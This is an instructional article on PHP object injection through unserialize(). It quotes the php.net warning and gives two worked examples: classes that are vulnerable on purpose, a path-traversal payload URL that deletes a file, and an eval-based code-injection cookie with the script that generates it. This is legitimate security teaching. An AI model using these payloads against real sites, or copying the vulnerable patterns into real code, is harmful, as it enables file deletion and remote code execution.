PHP Security Issues with unserialize


Example

Using unserialize function to unserialize data from user input can be dangerous.

A Warning from php.net

Warning Do not pass untrusted user input to unserialize(). Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this. Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized data to the user.

Possible Attacks

  • PHP Object Injection

PHP Object Injection

PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

In order to successfully exploit a PHP Object Injection vulnerability two conditions must be met:

  • The application must have a class which implements a PHP magic method (such as __wakeup or __destruct) that can be used to carry out malicious attacks, or to start a "POP chain".
  • All of the classes used during the attack must be declared when the vulnerable unserialize() is being called, otherwise object autoloading must be supported for such classes.

Example 1 - Path Traversal Attack

The example below shows a PHP class with an exploitable __destruct method:

class Example1
{
   public $cache_file;

   function __construct()
   {
      // some PHP code...
   }

   function __destruct()
   {
      $file = "/var/www/cache/tmp/{$this->cache_file}";
      if (file_exists($file)) @unlink($file);
   }
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

In this example an attacker might be able to delete an arbitrary file via a Path Traversal attack, for e.g. requesting the following URL:

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

Example 2 - Code Injection attack

The example below shows a PHP class with an exploitable __wakeup method:

class Example2
{
   private $hook;

   function __construct()
   {
      // some PHP code...
   }

   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}

// some PHP code...

$user_data = unserialize($_COOKIE['data']);

// some PHP code...

In this example an attacker might be able to perform a Code Injection attack by sending an HTTP request like this:

GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close

Where the cookie parameter "data" has been generated by the following script:

class Example2
{
   private $hook = "phpinfo();";
}

print urlencode(serialize(new Example2));